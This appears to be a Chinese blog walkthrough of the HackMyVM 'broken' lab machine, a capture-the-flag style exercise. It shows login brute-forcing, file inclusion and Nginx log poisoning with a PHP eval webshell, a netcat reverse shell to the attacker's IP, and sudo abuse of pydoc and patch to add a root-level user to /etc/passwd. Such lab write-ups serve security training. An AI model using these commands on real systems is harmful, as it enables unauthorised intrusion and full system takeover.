hackmyvm-broken

https://hackmyvm.eu/machines/machine.php?vm=broken

靶机 攻击机
IP 192.168.101.227 192.168.101.183

信息收集

arp-scan -l

image-20240220120210659

nmap扫描:

nmap 192.168.101.1/24

image-20240220120153263

进一步扫描:

nmap 192.168.101.227 -sC -sV

image-20240220120459216

发现有/textpattern路径

开源CMS - textpattern

最下面有CMS:

image-20240220120949926

来搜漏洞:

image-20240220121026218

很明显要知道它的版本,怎么知道?--配置文件

除了disearch等爆破方法,这里由于textpattern是开源的CMS,所以可以通过GitHub或官网获知它的配置文件名,这用的是INSTALL.txt

image-20240220121952832

可知是4.8.5

但是上面的版本貌似没有4.8.5的

除了配置文件,还可以尝试获取登录页面的URL,然后暴力破解

image-20240220123614432

用的是rockyou.txt的前100个密码-head -100 /usr/share/wordlists/rockyou.txt

image-20240220123708448

登录后台后可以尝试文件上传、RCE等漏洞,但是这里并不是考点、

竟然忘了dirsearch扫描。。看来信息收集没做好

image-20240220124400146

尝试包含文件:

image-20240220124654486

注:

  • file是文件包含中常见的参数名,如果猜不到的话就fuzz一下
  • 必须加上../ ,否则不能成功包含

/etc/passwd有什么用?

  • 确定文件包含漏洞的存在
  • 确定有哪些用户->读取.ssh/id_rsa

Nginx日志文件包含

通过测试,发现可以包含日志文件?file=../../../../var/log/nginx/access.log

然后就可以写日志了

注意!!! 一定要保证符合PHP代码格式,否则会导致:

image-20240220130747424

这时就不得不重新导入了(悲

进行日志包含:

image-20240220131453704

image-20240220131506086

一句话木马:

<?php eval($_REQUEST[1]);?>

image-20240220131731123

一般习惯将shell弹到kali上:

好处:有自动补全等功能

nc -e /bin/bash 192.168.101.183 1234

image-20240220132244278

然后到/home目录,尝试密码为heart切换:发现失败

尝试与用户名相同的密码是经常使用的

sudo提权-pydoc

然后尝试提权:

sudo -l

image-20240220133326627

sudo -u heart /usr/bin/pydoc3.7 import
  • 意思是使用用户 heart 的权限执行 Python 3.7 的 pydoc 工具,查看 Python 关键字 import 的文档。
  • 为什么必须要加上-u heart?

因为(heart) NOPASSWD: /usr/bin/pydoc3.7代表只有heart用户才有pydoc的sudo权限

image-20240220133438695

再次优化shell:

/usr/bin/script -qc /bin/bash /dev/null

sudo提权-patch

在heart用户下进行sudo提权:

image-20240220133731995

用到的是/etc/passwd

openssl passwd 123 # $1$ieR5Iiu9$Rrhqfb1p2wIaBc6qES55x0
star:$1$ieR5Iiu9$Rrhqfb1p2wIaBc6qES55x0:0:0:123:/root:/bin/bash
copy /etc/passwd b
echo 'star:$1$ieR5Iiu9$Rrhqfb1p2wIaBc6qES55x0:0:0:123:/root:/bin/bash'>>b
cat b

image-20240220143700205

diff /etc/passwd b > b.patch
sudo /usr/bin/patch -p0 /etc/passwd b.patch
su star

image-20240220144239685

接着就是拿flag了

image-20240220144421474

image-20240220144533464

image-20240220144604954

参考

https://www.bilibili.com/video/BV18G411Y7rM?t=4.6

posted @   starme  阅读(12)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示